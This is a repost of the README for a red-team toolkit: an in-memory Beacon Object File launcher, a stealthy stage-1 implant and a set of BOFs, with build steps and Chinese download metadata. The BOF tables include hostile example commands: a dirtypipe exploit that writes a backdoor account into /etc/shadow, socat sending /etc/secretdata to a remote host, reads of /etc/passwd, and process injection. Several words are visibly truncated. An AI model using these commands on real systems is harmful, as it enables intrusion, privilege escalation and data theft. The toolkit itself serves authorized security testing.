Cobalt Strike 4.1 released on 25 June 2020, introduced a novel (for that time) capability of running so called Beacon Object Files - *small post-ex capabilities that execute in Beacon, parse arguments, call a few Win32 APIs, report output, and exit*. Since that time BOFs became very popular and the demand to launch/execute them in other en than Cobalt Strike's Beacon has emerged.
We at Z-Labs saw a big potential in BOFs and decided to extend its capabilities, and usefulness e. That's how the following projects came to live.
The repository provides:
1. bof-launcher - programming library for BOFs in-memory management (loading, keeping track of loaded BOFs, execution, masking).
2. z-beac0n - a custom-written stage-1 (aka pre-C2) solution featuring bof-launcher. Engineered with a small footprint, stealth and modularity in mind.
3. Z-Labs BOFs collection - growing collection of OS-specific and cross-platform BOFs for usage during a red team engagements.
4. cli4bofs - a swiss army knife tool for running, injecting and organizing your BOFs collection.
See here for project's roadmap.
See here for building instructions.
<p align="center">
<img src=" width="192" height="192" />
</p>
BOF launcher library is the engine behind the z-beac0n ad simulation toolkit.
It is a standalone programming library implemented in Zig and C that can be used to execute BOFs. On Windows it support x86 and x86_64 architectures, on Linux x86, x86_64, ARMv6+ and AArch64 architectures are supported. The library exposes either C API and Zig API.
Library features:
Bash pipes but purely in-memory) both on Linux and Windows.bof-launcher C API:
!z-beac0n in action
For details see here: z-beac0n - Open Ad Simulation Toolkit
This is an open source project meant to be used with authorization to assess the security posture and for research purposes.
| BOF name | Description | Supported platforms | Example
| ------------- | ---------------------------------------------------- | --------------------------- | ------------------ |
| z-beac0n core | So called BOF zero (BOF0), BOF that operates as standalone implant, manages other loaded BOFs; capable of executing other BOFs | Linux x86/x86_64/ARMv6+/AArch64; Windows x86/x86_64 | z-beac0n |
| tcpScanner | TCP connect() port scanner | Linux x86/x86_64/ARMv6+/AArch64; Windows x86/x86_64 | tcpScanner 4.3.2.1-255:22,80 |
| udpScanner | UDP port sweeper | Linux x86/x86_64/ARMv6+/AArch64; Windows x86/x86_64 | udpScanner 4.3.2.1-255:5000-5010 |
| whoami | On Linux: print effective user name; On Windows: output the current UserName and domain | Linux x86/x86_64/ARMv6+/AArch64; Windows x86/x86_64 | whoami |
| pwd | print name of current/working directory | Linux x86/x86_64/ARMv6+/AArch64; Windows x86/x86_64 | pwd |
| cd | change working directory | Linux x86/x86_64/ARMv6+/AArch64; Windows x86/x86_64 | cd / |
| cat | print content of a file | Linux x86/x86_64/ARMv6+/AArch64; Windows x86/x86_64 | cat /etc/passwd |
| zcat | print content of a gzip compressed file | Linux x86/x86_64/ARMv6+/AArch64; Windows x86/x86_64 | cat /boot/config.gz |
| ls | list directory content | Linux x86/x86_64/ARMv6+/AArch64; Windows x86/x86_64 | ls /etc |
| whereami | print hypervisor signature from CPUID | Linux x86/x86_64; Windows x86/x86_64 | whereami |
| grep | Print lines that match patterns | Linux x86/x86_64/ARMv6+/AArch64; Windows x86/x86_64 | grep root /etc/passwd |
| find | Search for files in a directory hierarchy | Linux x86/x86_64/ARMv6+/AArch64; Windows x86/x86_64 | find /de b |
| BOF name | Description | Supported platforms | Example
| ------------- | ---------------------------------------------------- | --------------------------- | ------------------ |
| dirtypipe | Exploit for 'dirtypipe' (C) implemented as a BOF | Linux x86/x86_64/ARMv6+/AArch64 | dirtypipe /etc/shadow 913 "backdoor:xxx:10123::::::" |
| kmodLoader | API-style BOF; load/unload kernel module directly from memory (root pri required) | Linux x86/x86_64/ARMv6+/AArch64 | see docs |
| lskmod | list currently loaded kernel modules | Linux x86/x86_64/ARMv6+/AArch64 | lskmod |
| hostname | show the system's host name | Linux x86/x86_64/ARMv6+/AArch64 | hostname |
| hostid | print the numeric identifier for the current host | Linux x86/x86_64/ARMv6+/AArch64 | hostid |
| id | print real and effective user and group IDs | Linux x86/x86_64/ARMv6+/AArch64 | id www-data |
| uname | print system information | Linux x86/x86_64/ARMv6+/AArch64 | uname -a |
| uptime | show how long the system has been running | Linux x86/x86_64/ARMv6+/AArch64 | uptime |
| who | print currently logged in users | Linux x86/x86_64/ARMv6+/AArch64 | who |
| ifconfig | Display the status of the currently acti interfaces. With root pri: also manipulate current state of the device | Linux x86/x86_64/ARMv6+/AArch64 | ifconfig eth0 promisc |
| socat | Arbitrary TCP and TLS connections | Linux x86/x86_64/ARMv6+/AArch64 | socat OPEN:/etc/secretdata TLS:remotehost:8443 |
| BOF name | Description | Supported platforms | Example
| ------------- | ---------------------------------------------------- | --------------------------- | ------------------ |
| winver | show the edition, , and system type of Windows operating system | Windows x86/x86_64 | winver |
| processInjectionSrdi | This BOF can inject any other BOF to any running process | Windows x86/x86_64 | cli4bofs inject file:abs_path_to_bof -i:<pid> |
Being a zero-dependency, drop-in C/C++ compiler that supports cross-compilation out-of-the-box, Zig can be used to build this project. To do so Zig's tarball (0.15.2) needs to be downloaded and dropped in the directory of choice. After adding that directory to the PATH en , buliding the whole project is as easy as running:
zig build
Abo will build all included BOFs, example programs and bof-launcher library for all supported platforms.
To build BOFs as a debuggable, standalone executables run:
zig build -Doptimize=Debug
Build artifacts will show up in zig-out/bin and zig-out/lib folders.
To build and run test BOFs do:
zig build test
To run tests on foreign CPU architectures, you can use QEMU which is nicely integrated in Zig:
zig build test -fqemu --glibc-runtimes /usr
开发语言:Zig
Star 数:345
该项目属于红蓝攻防方向的开源资源,代码结构清晰,适合安全研究人员学习参考。项目围绕[ BOF-LAUNCHER ] -> an API for loading, executing and in-memory masking BOFs on Windows and Linux for use in C/Zig/Go/Rust agents/implants. [ Z-BEAC0N ] -> a custom-written stage-1 (aka pre-C2) solution engineered with a small footprint, stealth and modularity in mind.展开,提供了可运行的实现,对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。
从技术实现角度看,此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论,梳理项目的初始化流程、核心模块职责与数据流转,逐步掌握其中的技术细节与设计思路。
1. 下载源码压缩包,解压到本地环境。
2. 根据项目类型准备对应的运行环境与依赖。
3. 按照 README 中的步骤完成配置与部署。
4. 在隔离的测试环境中运行验证,避免影响生产系统。
本资源来源于开源社区,仅供安全研究、技术学习与合法授权范围内的攻防演练使用,请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。
| 资源标题 | bof-launcher - [ BOF-LAUNCHER ] -> an API for loading, executing |
| 所属分类 | 红蓝攻防 |
| 发布作者 | admin |
| 发布时间 | 2026-10-06 00:43:09 |
| 下载权限 | 免费下载 |
| 附件数量 | 2 个下载链接 |
| 浏览次数 | 233 |
| 讨论数量 | 0 |
| 主题状态 | 正常讨论中 |